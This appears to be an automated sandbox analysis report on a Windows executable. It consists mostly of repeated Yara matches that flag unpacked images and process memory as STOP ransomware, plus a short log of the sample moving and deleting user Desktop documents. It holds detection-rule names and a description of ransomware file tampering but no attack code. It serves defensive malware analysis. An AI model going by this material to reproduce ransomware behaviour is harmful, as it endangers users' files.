Source: Yara match	File source: 2.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bE5aaTiJM0.exe.42715a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.bE5aaTiJM0.exe.42415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.bE5aaTiJM0.exe.42915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.bE5aaTiJM0.exe.42415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.bE5aaTiJM0.exe.43515a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.bE5aaTiJM0.exe.42915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.bE5aaTiJM0.exe.43515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.378332147.0000000004270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bE5aaTiJM0.exe PID: 4004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bE5aaTiJM0.exe PID: 5720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bE5aaTiJM0.exe PID: 5592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bE5aaTiJM0.exe PID: 4376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bE5aaTiJM0.exe PID: 3616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bE5aaTiJM0.exe PID: 5828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bE5aaTiJM0.exe PID: 5832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bE5aaTiJM0.exe PID: 3920, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bE5aaTiJM0.exe PID: 3304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bE5aaTiJM0.exe PID: 2888, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File moved: C:\Users\user\Desktop\BNAGMGSPLO.docx	Jump to behavior
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File deleted: C:\Users\user\Desktop\BNAGMGSPLO.docx	Jump to behavior
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File moved: C:\Users\user\Desktop\EWZCVGNOWT.mp3	Jump to behavior
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File deleted: C:\Users\user\Desktop\EWZCVGNOWT.mp3	Jump to behavior
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File moved: C:\Users\user\Desktop\TQDFJHPUIU.png	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 11.0.bE5aaTiJM0.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.bE5aaTiJM0.exe.42715a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.bE5aaTiJM0.exe.42715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.bE5aaTiJM0.exe.42715a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.bE5aaTiJM0.exe.42715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.bE5aaTiJM0.exe.42415a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.bE5aaTiJM0.exe.42415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.bE5aaTiJM0.exe.42915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
